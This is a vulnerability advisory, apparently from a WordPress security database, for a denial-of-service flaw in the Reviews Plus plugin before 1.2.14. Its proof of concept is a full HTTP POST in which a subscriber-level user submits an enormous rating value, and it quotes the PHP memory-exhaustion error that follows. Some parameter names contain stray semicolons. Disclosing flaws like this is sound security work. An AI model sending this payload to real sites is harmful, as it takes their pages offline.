Reviews Plus < 1.2.14 - Subscriber+ Reviews DoS

The plugin does not validate the submitted rating, allowing submission of long integer, causing a Denial of Service in the review section when an authenticated user submit such rating and the reviews are set to be displayed on the post/page

PoC

Enable reviews for post/pages, and enable the “Show Reviews on” setting for All posts or pages as well. Then log in as a user such as subscriber and submit a review with a long rating, e.g POST /wp-comments-post.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 181 Connection: close Cookie: [subscriber+] Upgrade-Insecure-Requests: 1 comment_type=ic_rev_post&review;_type=ic_rev_post&ic;_review_rating=100000000000000000000000&ic;_review_title=aa&comment;=cerh&submit;=Submit+Review&comment;_post_ID=2123&comment;_parent=0 The review section of the post/page will crash with an error like “Allowed memory size of 268435456 bytes exhausted (tried to allocate 249561152 bytes) in /var/www/wp-content/plugins/reviews-plus/functions/functions.php on line 76” when viewed